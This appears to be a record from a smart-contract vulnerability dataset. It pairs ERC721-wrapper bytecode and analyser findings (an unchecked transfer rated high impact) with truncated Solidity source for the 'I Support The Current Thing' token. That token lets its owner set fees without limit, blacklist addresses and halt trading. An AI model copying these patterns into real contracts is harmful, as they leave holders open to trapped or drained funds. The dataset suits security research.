ffffffff1916148061044957507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610459575061045882610dc4565b5b9050919050565b60005b6007805490508110156104fa576007818154811061048457610483611f97565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156104e7576104fa565b80806104f290611ff5565b915050610463565b6007805490508110610541576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610538906120b0565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff166323b872dd333060016040518463ffffffff1660e01b815260040161057f9392919061210b565b6020604051808303816000875af115801561059e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c29190612157565b506105cd3382610e2e565b6001600260008282546105e09190612184565b925050819055505050565b6060600080546105fa90612209565b80601f016020809104026020016040519081016040528092919081815260200182805461062690612209565b80156106735780601f1061064857610100808354040283529160200191610673565b820191906000526020600020905b81548152906001019060200180831161065657829003601f168201915b5050505050905090565b600061068882611008565b6106c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106be906122ad565b60405180910390fd5b6005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061070d826108df565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561077e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107759061233f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1661079d611074565b73ffffffffffffffffffffffffffffffffffffffff1614806107cc57506107cb816107c6611074565b610d30565b5b61080b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610802906123d1565b60405180910390fd5b610815838361107c565b505050565b60025481565b61083161082b611074565b82611135565b610870576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086790612463565b60405180910390fd5b61087b838383611213565b505050565b6007818154811061089057600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108da83838360405180602001604052806000815250610af1565b505050565b6000806003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610988576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097f906124f5565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f990612587565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060018054610a5890612209565b80601f0160208091040260200160405190810160405280929190818152602001828054610a8490612209565b8015610ad15780601f10610aa657610100808354040283529160200191610ad1565b820191906000526020600020905b815481529060010190602001808311610ab457829003601f168201915b5050505050905090565b610aed610ae6611074565b838361147a565b5050565b610b02610afc611074565b83611135565b610b41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3890612463565b60405180910390fd5b610b4d848484846115e7565b50505050565b606060088281548110610b6957610b68611f97565b5b906000526020600020018054610b7e90612209565b80601f0160208091040260200160405190810160405280929190818152602001828054610baa90612209565b8015610bf75780601f10610bcc57610100808354040283529160200191610bf7565b820191906000526020600020905b815481529060010190602001808311610bda57829003601f168201915b50505050509050919050565b610c0d3382611135565b610c4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4390612619565b60405180910390fd5b610c5581611643565b60078181548110610c6957610c68611f97565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb3360016040518363ffffffff1660e01b8152600401610ccf929190612639565b6020604051808303816000875af1158015610cee573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d129190612157565b50600160026000828254610d269190612662565b9250508190555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e95906126e2565b60405180910390fd5b610ea781611008565b15610ee7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ede9061274e565b60405180910390fd5b610ef360008383611760565b6001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f439190612184565b92505081905550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461100460008383611765565b5050565b60008073ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816005600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166110ef836108df565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061114082611008565b61117f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611176906127e0565b60405180910390fd5b600061118a836108df565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806111f957508373ffffffffffffffffffffffffffffffffffffffff166111e18461067d565b73ffffffffffffffffffffffffffffffffffffffff16145b8061120a57506112098185610d30565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611233826108df565b73ffffffffffffffffffffffffffffffffffffffff1614611289576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128090612872565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f090612904565b60405180910390fd5b611304838383611760565b61130f60008261107c565b6001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461135f9190612662565b925050819055506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113b69190612184565b92505081905550816003600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4611475838383611765565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e090612970565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516115da91906119a3565b60405180910390a3505050565b6115f2848484611213565b6115fe8484848461176a565b61163d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163490612a02565b60405180910390fd5b50505050565b600061164e826108df565b905061165c81600084611760565b61166760008361107c565b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116b79190612662565b925050819055506003600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905581600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461175c81600084611765565b5050565b505050565b505050565b6000611775846118dc565b156118cf578373ffffffffffffffffffffffffffffffffffffffff1663150b7a0261179e611074565b8786866040518563ffffffff1660e01b81526004016117c09493929190612a77565b6020604051808303816000875af19250505080156117fc57506040513d601f19601f820116820180604052508101906117f99190612ad8565b60015b61187f573d806000811461182c576040519150601f19603f3d011682016040523d82523d6000602084013e611831565b606091505b50600081511415611877576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186e90612a02565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506118d4565b600190505b949350505050565b600080823b905060008111915050919050565b6000604051905090565b600080fd5b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b61193881611903565b811461194357600080fd5b50565b6000813590506119558161192f565b92915050565b600060208284031215611971576119706118f9565b5b600061197f84828501611946565b91505092915050565b60008115159050919050565b61199d81611988565b82525050565b60006020820190506119b86000830184611994565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006119e9826119be565b9050919050565b60006119fb826119de565b9050919050565b611a0b816119f0565b8114611a1657600080fd5b50565b600081359050611a2881611a02565b92915050565b600060208284031215611a4457611a436118f9565b5b6000611a5284828501611a19565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611a95578082015181840152602081019050611a7a565b83811115611aa4576000848401525b50505050565b6000601f19601f8301169050919050565b6000611ac682611a5b565b611ad08185611a66565b9350611ae0818560208601611a77565b611ae981611aaa565b840191505092915050565b60006020820190508181036000830152611b0e8184611abb565b905092915050565b6000819050919050565b611b2981611b16565b8114611b3457600080fd5b50565b600081359050611b4681611b20565b92915050565b600060208284031215611b6257611b616118f9565b5b6000611b7084828501611b37565b91505092915050565b611b82816119de565b82525050565b6000602082019050611b9d6000830184611b79565b92915050565b611bac816119de565b8114611bb757600080fd5b50565b600081359050611bc981611ba3565b92915050565b60008060408385031215611be657611be56118f9565b5b6000611bf485828601611bba565b9250506020611c0585828601611b37565b9150509250929050565b611c1881611b16565b82525050565b6000602082019050611c336000830184611c0f565b92915050565b600080600060608486031215611c5257611c516118f9565b5b6000611c6086828701611bba565b9350506020611c7186828701611bba565b9250506040611c8286828701611b37565b9150509250925092565b6000819050919050565b6000611cb1611cac611ca7846119be565b611c8c565b6119be565b9050919050565b6000611cc382611c96565b9050919050565b6000611cd582611cb8565b9050919050565b611ce581611cca565b82525050565b6000602082019050611d006000830184611cdc565b92915050565b600060208284031215611d1c57611d1b6118f9565b5b6000611d2a84828501611bba565b91505092915050565b611d3c81611988565b8114611d4757600080fd5b50565b600081359050611d5981611d33565b92915050565b60008060408385031215611d7657611d756118f9565b5b6000611d8485828601611bba565b9250506020611d9585828601611d4a565b9150509250929050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611de182611aaa565b810181811067ffffffffffffffff82111715611e0057611dff611da9565b5b80604052505050565b6000611e136118ef565b9050611e1f8282611dd8565b919050565b600067ffffffffffffffff821115611e3f57611e3e611da9565b5b611e4882611aaa565b9050602081019050919050565b82818337600083830152505050565b6000611e77611e7284611e24565b611e09565b905082815260208101848484011115611e9357611e92611da4565b5b611e9e848285611e55565b509392505050565b600082601f830112611ebb57611eba611d9f565b5b8135611ecb848260208601611e64565b91505092915050565b60008060008060808587031215611eee57611eed6118f9565b5b6000611efc87828801611bba565b9450506020611f0d87828801611bba565b9350506040611f1e87828801611b37565b925050606085013567ffffffffffffffff811115611f3f57611f3e6118fe565b5b611f4b87828801611ea6565b91505092959194509250565b60008060408385031215611f6e57611f6d6118f9565b5b6000611f7c85828601611bba565b9250506020611f8d85828601611bba565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061200082611b16565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561203357612032611fc6565b5b600182019050919050565b7f4e6f7420696e206b6e6f776e202f20636f6e66696775726564206f726967696e60008201527f616c730000000000000000000000000000000000000000000000000000000000602082015250565b600061209a602383611a66565b91506120a58261203e565b604082019050919050565b600060208201905081810360008301526120c98161208d565b9050919050565b6000819050919050565b60006120f56120f06120eb846120d0565b611c8c565b611b16565b9050919050565b612105816120da565b82525050565b60006060820190506121206000830186611b79565b61212d6020830185611b79565b61213a60408301846120fc565b949350505050565b60008151905061215181611b20565b92915050565b60006020828403121561216d5761216c6118f9565b5b600061217b84828501612142565b91505092915050565b600061218f82611b16565b915061219a83611b16565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156121cf576121ce611fc6565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061222157607f821691505b60208210811415612235576122346121da565b5b50919050565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b6000612297602c83611a66565b91506122a28261223b565b604082019050919050565b600060208201905081810360008301526122c68161228a565b9050919050565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000612329602183611a66565b9150612334826122cd565b604082019050919050565b600060208201905081810360008301526123588161231c565b9050919050565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b60006123bb603883611a66565b91506123c68261235f565b604082019050919050565b600060208201905081810360008301526123ea816123ae565b9050919050565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b600061244d603183611a66565b9150612458826123f1565b604082019050919050565b6000602082019050818103600083015261247c81612440565b9050919050565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b60006124df602983611a66565b91506124ea82612483565b604082019050919050565b6000602082019050818103600083015261250e816124d2565b9050919050565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b6000612571602a83611a66565b915061257c82612515565b604082019050919050565b600060208201905081810360008301526125a081612564565b9050919050565b7f4552433732313a20756e777261702063616c6c6572206973206e6f74206f776e60008201527f6572206e6f7220617070726f7665640000000000000000000000000000000000602082015250565b6000612603602f83611a66565b915061260e826125a7565b604082019050919050565b60006020820190508181036000830152612632816125f6565b9050919050565b600060408201905061264e6000830185611b79565b61265b60208301846120fc565b9392505050565b600061266d82611b16565b915061267883611b16565b92508282101561268b5761268a611fc6565b5b828203905092915050565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b60006126cc602083611a66565b91506126d782612696565b602082019050919050565b600060208201905081810360008301526126fb816126bf565b9050919050565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b6000612738601c83611a66565b915061274382612702565b602082019050919050565b600060208201905081810360008301526127678161272b565b9050919050565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b60006127ca602c83611a66565b91506127d58261276e565b604082019050919050565b600060208201905081810360008301526127f9816127bd565b9050919050565b7f4552433732313a207472616e736665722066726f6d20696e636f72726563742060008201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b600061285c602583611a66565b915061286782612800565b604082019050919050565b6000602082019050818103600083015261288b8161284f565b9050919050565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006128ee602483611a66565b91506128f982612892565b604082019050919050565b6000602082019050818103600083015261291d816128e1565b9050919050565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b600061295a601983611a66565b915061296582612924565b602082019050919050565b600060208201905081810360008301526129898161294d565b9050919050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b60006129ec603283611a66565b91506129f782612990565b604082019050919050565b60006020820190508181036000830152612a1b816129df565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000612a4982612a22565b612a538185612a2d565b9350612a63818560208601611a77565b612a6c81611aaa565b840191505092915050565b6000608082019050612a8c6000830187611b79565b612a996020830186611b79565b612aa66040830185611c0f565b8181036060830152612ab88184612a3e565b905095945050505050565b600081519050612ad28161192f565b92915050565b600060208284031215612aee57612aed6118f9565b5b6000612afc84828501612ac3565b9150509291505056fea26469706673582212202afc21c68962e7eb33ad90a0a28295b7be675e12b3b86cb33ccd835181ba4f1664736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 3,538 |
0x2c12af0af221b01cf1c4add9215df23c29be7c94
|
/**
*Submitted for verification at Etherscan.io on 2022-03-14
*/
/**
https://t.me/ISUPPORTERC
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ISupportTheCurrentThing is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "I Support The Current Thing";
string private constant _symbol = "SUPPORT";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 11;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 11;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x10c2767637B3f4E4C1d41041619F09a86D9856Bb);
address payable private _marketingAddress = payable(0x10c2767637B3f4E4C1d41041619F09a86D9856Bb);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
